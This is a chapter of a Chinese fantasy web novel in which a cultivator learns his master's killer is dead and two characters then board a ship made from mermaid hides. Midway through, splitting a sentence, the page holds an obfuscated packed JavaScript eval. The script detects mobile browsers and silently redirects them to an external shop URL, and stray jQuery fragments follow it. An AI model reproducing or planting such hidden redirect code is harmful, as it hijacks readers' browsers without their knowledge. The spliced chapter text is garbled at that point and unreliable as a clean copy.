文趣网 > 其他小说 > 反派她死不悔改 > 67. 万木春18
    贺凌云未察觉,继续道:“多年前,家师明心境突破之期将至,欲入人界寻一道机缘。”

    “他将掌门令一分为二留给我们,嘱咐我们有事可以此传报,便入界了。结果,有一日我们突然发现身上师徒契消散,急忙连接掌门令的另一头却了无音讯,还隐隐有妖气透出。门中师弟妹惊慌,我又是最大的,再三商议后,我便出界寻赵师父。”

    “也是因此才同你们在理县相遇。”

    “我在理县同你和明微尊长讨要骨魔骸骨,便是因其有寻找遗骸之能。离开理县我又往北走了三百里,在北妖之地找到了师父尸首。”

    为了验证心中猜疑,姜晓小心翼翼地询问:“说不定骨魔遗骸也会认错呢?贺道友如何确定?样貌?身形?”

    她遇到的“萧复”夺人皮囊,难道书里“萧复”的皮囊也是被偷来的?

    童言无忌,贺凌云也不计较,直言:“多年过去,任什么修行境界,死了也只剩一堆白骨。”

    “我出门时,师妹做了最坏的打算,给了我一道血符。她是师父亲女,那道血符贴上去,就能确定是不是师父了。”

    他仿佛回到那日,暮色昏暗的冬日,旷野的风在耳边呼啸,把发髻都吹歪了。他跟着骨魔遗骸一路找到北乾临近妖祸镇压之地的边界,徒手搬开石板,没有挖得太深,约莫三尺,就见到了一具七零八碎的草席,掀开只见一具白骨。

    师徒契早已消散,他无法感知师父。可是在拿出师妹的血符之前,贺凌云就泪如雨下,知道这就是他的师父。

    哭声盖过原野的风吼。

    贺凌云神色微敛,道:“师父的白骨蹊跷,被人葬下时尸骨完整,可周围没看见一丝头发和指甲,只有血肉腐化的痕迹……我怀疑……我怀疑……”

    说到此处,贺凌云有些哽咽。

    刚毅男儿落泪,悲伤中也有几分难为情。

    沈瀞姜晓两人摸了下袖子,可都没有带绢帕的习惯,最后姜晓默默把自己平常给豚豚擦嘴的帕子递出去。她每天都洗,今天还没用。

    贺凌云接过帕子,整理情绪道:“我收敛了师父的遗骨,打算此番回师门安葬,将掌门之事委托给师妹,再回人界查清是谁对师父下了如此毒手。”

    姜晓扣着自己的衣角,犹豫再三,还是说:“贺道友,去年夏我全家在鬼哭峡被伏杀,那时我遇到个病弱道人,他自称承霄派掌门,萧复。”

    贺凌云先是一惊,断然反驳:“不可能!师父已近濯灵境,怎么可能病弱?”

    姜晓道:“他使一柄拂尘,那拂尘形状普通,无甚雕花刻字,但银丝柔韧无比,散开宛若天罗地网。”

    贺凌云听到熟悉的形容,震惊地喃喃:“是师父的本命武器。”

    沈瀞接过来说:“我师妹侥幸从他手中逃脱,但等我们再见时,他又换了一副皮囊,是我们曾经认识的一位老伯。”

    贺凌云听到此处已经切齿,恨声追问:“此人定是害我师父的凶手。他是谁?叫什么?”

    姜晓与沈瀞对视一眼,沈瀞摇头,道:“我们也不知此人是谁。不知贺道友人界行走时可听说了沧州之事?”

    贺凌云怔愣,沧州一下出现两只业瘿种,消息震惊九州,经此一战,三国各地都开始排查业瘿种踪迹,巡天司忙得脚不沾地。他一路奔波,也略有耳闻。点头道:“知晓一二,有何关联?”

    沈瀞道:“沧州之案便有此人手笔。”

    贺凌云急问:“怎么不见追捕令?难不成巡天司抓到人了?”

    沈瀞摇头,没让贺凌云着急,直言道:“此人死了。”

    姜晓接过话:“在追捕业瘿种途中,此人多般阻挠,与我们交手,死于...”她顿了一下,道:“师兄剑下。”

    姜晓想形容一下“萧复”,一时也找不到准确的词,只道:“那...那东西人头蛇身,应该也不是寻常人。”

    悲喜交加,冲击得贺凌云泪流满面,他起身朝沈瀞深深拜下:“沈道友,大恩无以为报,先受我一拜吧。”

    这边动静大,邻桌的人纷纷侧目。

    沈瀞拦住贺凌云,安抚道:“本就是当为之事,贺道友不必介怀。”

    青年哽咽难言,师门大仇,却不知仇人是谁。他本想好断却修行路,耗尽一生也要回人界查清师父被谁所害。如今骤然得知,百感交集。

    贺凌云眼中坚毅,道:“承霄派上下铭记恩德,将来若有所托,万死不辞。”

    沈瀞劝道:“言重了贺道友。”

    可贺凌云不听,将随身玉佩扯下塞给沈瀞,见手上功夫压不过沈瀞,兜头就塞给了姜晓。姜晓还没反应过来呢,手里就一凉。

    贺凌云道:“这是承霄信物,就赠予沈道友,今后太虚若有所托,承霄万死不辞。”说完他道要将得知的消息告知门中师弟妹,就告辞离开。

    沈瀞见他决然,也不好再推辞。徒留姜晓捧着玉佩,看看手里,又看看豚豚,再看看沈瀞。

    沈瀞无奈,道:“拿着吧。谁让你方才说萧复...”他顿了顿,重道:“那人死于我剑下呢?”

    姜晓茫然:“我豆大一点,我啥修为,啥境界都没有,和他说我能杀了害了他师父的人?他能信?”何况,沈瀞和贺凌云有旧交,他肯定相信沈瀞的人品啊。

    说完,把东西塞给沈瀞,垮着脸:“我不要。”

    沈瀞拿着玉牌,好笑:“一门之诺,万死不辞。闷闷,你可知道其中分量?”

    姜晓抬头看他,神色认真:“便是知道才不要。”

    她最大的愿望,就是平平顺顺,没有任何事需要请托外人付出性命才能帮自己完成。

    沈瀞微怔,许是明白了,轻叹道:“那给师父吧。”

    再坐了片刻,一声惊天雷鸣里,船身骤然晃动一下,姜晓在凳子上踉跄了一下,心中一慌一把抓住豚豚,一把扯住沈瀞。还没开口,船身又迅速恢复平稳。姜晓惊魂未定地抬头,室内人人都不动如山只作寻常。

    外面雷声霹雳,暴雨如注。沈瀞扶着姜晓听了片刻,笑道:“雨下来了,鲛舟起航了。”

    “出去看?”

    姜晓猛点头。

    舱内琴声悠远,刚踏出舱门,便听见雷声轰鸣,闪电划破天际,狂风暴雨汹涌而来,鲛舟船身倾斜,朝着天际划行,在瓢泼大雨中逆流而上。

    山川河海,地面湖泊,一切在姜晓眼中都是倾斜的。但她站在甲板上,如履平地,毫无感觉。

    感受和视觉的错位,给她一种荒谬感。

    沈瀞也是第一次上鲛舟,第一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692858|202870||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    次见这般情形,道:“书中写‘以雨为河,逆而入天’原来就是这样了。”

    姜晓松开沈瀞的手,走进暴雨的夜幕中,却滴水未沾,她疑惑地回头看沈瀞。

    沈瀞随她走出,这回姜晓看明白了,在他进入雨幕的那一瞬间,地面上便升起一个一丈高的半圆,他靠近自己后,两个半圆融合在一起,又拓宽了一些。

    沈瀞带着姜晓蹲下,道:“看。”

    姜晓就着灯火,勉强看清。

    甲板和船身外壳一样,也是有着鳞片纹路,但翕动弧度比船身微弱,不仔细看不出来。

    沈瀞声线温润,混在暴烈的雨声中,道:“闷闷,你再看鳞片之间。”

    有了沈瀞的提示,姜晓看得更仔细,发现鳞片缝隙之间有两种不同流速的液体,轻、快的是雨水,另一种微微粘稠,还泛着浅蓝。

    姜晓问:“琼液?”

    沈瀞点头。

    姜晓咋舌,难怪只有渡仙坊开得起舟局。他们在巡天司半年,姜晓见识过紫七他们用琼液是何等的小心翼翼,生怕一丝浪费。

    而鲛舟之上,琼液大咧咧倾倒在甲板上,只怕十桶才能铺满。

    整个沧州分署,一年也就三桶用度。

    姜晓好奇:“这鲛舟到底什么做的?”

    沈瀞无奈:“这不谜底就在谜面上?”

    鲛舟什么做的?自然是鲛啊。

    姜晓哑言,她只是不敢真这么想,这么大的船,要杀多少鲛人?

    沈瀞道:“东海鲛人泣泪成珠,油脂做灯三十年不灭,鱼尾的皮是做鲛舟的上好材料,在大胤,尤其是废帝沉迷人族妖化那几年,几乎被灭族。不过,自妖祸之后世人忌惮,这类大规模捕杀妖族的事少了许多。”

    沈瀞抬头望了一圈他们所乘鲛舟,道:“做这只鲛舟,估计所需鲛人至少三百吧。”

    姜晓打了个寒颤,觉得自己好像站在累累尸体上穿行云海,明明站在结界中,总觉得寒气萦绕。她在的,还是个倡导没有买卖就没有杀害的世界...

    不行...

    姜晓闭了闭眼,抑制住这种念头。感觉再想下去要有“救世圣母”的倾向了。

    一个社会的运行轨迹不论如何吊诡,都必然应和了其中社会关系的生存逻辑。

    她需要的是适应。

    可她还是没忍住抬起头问沈瀞:“哥哥,听到这种事你会对人性产生厌恶吗?”

    “你是说为了一己私欲,残杀无辜生灵吗?”沈瀞眸中沉静,轻声问。

    姜晓点头。

    沈瀞轻笑:“闷闷,我若作为得利者站在尸体上大谈慈悲心,也太过伪善了。”

    “第一艘鲛舟,是真的舟。一个渔民生了个上品灵脉的孩子,被一个商人盯上。那商人被对家害得倾家荡产,就听了术士的话想要渔民的孩子给他家祖坟做生祭,保住一家生计。渔民宁死不屈,决定带着孩子一起赴死。结果抱着孩子走到岸边,他看见一条受伤的鲛人趴在自己的渔舟旁。”

    “他想,他连死都不怕还有什么好怕的。”

    “他杀了鲛人,扒下它的皮裹在渔舟上,把血肉作为干粮,带着孩子从尘冥海逃到了修行界。”

    “从此世人才知道,鲛人的皮可以保人度过尘冥海。”